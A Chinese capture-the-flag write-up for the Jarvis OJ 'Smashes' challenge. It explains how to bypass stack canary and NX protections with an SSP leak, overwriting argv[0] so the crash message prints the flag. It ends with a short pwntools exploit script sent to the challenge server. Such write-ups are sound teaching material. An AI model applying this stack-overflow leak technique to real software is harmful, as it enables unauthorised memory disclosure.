Jarvis OJ---Smashes

先查看一下开启了什么防御机制

Jarvis OJ---Smashes_第1张图片
image.png

程序开启了canary和NX,但是hint之中却提示让我们overwrite it,既然无法直接插入shellcode,也无法通过ret2libc或者ROP直接绕过,好像一时之间没有啥子办法了,其实还有一种特别的方法,那就是SSP(Stack Smashes Protect)leak,具体可以看这里
http://www.jianshu.com/p/b0b254b94afe
通过gdb调试,计算argv[0]到缓冲区的字节大小

Jarvis OJ---Smashes_第2张图片
image.png
Jarvis OJ---Smashes_第3张图片
image.png

发现flag存在两个位置


Jarvis OJ---Smashes_第4张图片
image.png

最后贴上脚本

from pwn import *
from time import *

p = remote('pwn.jarvisoj.com',9877)
p.recvuntil("name?")
payload = p64(0x400D20)*160
p.sendline(payload)
p.recvuntil('flag:')
p.sendline("1")
p.interactive()

你可能感兴趣的:(Jarvis OJ---Smashes)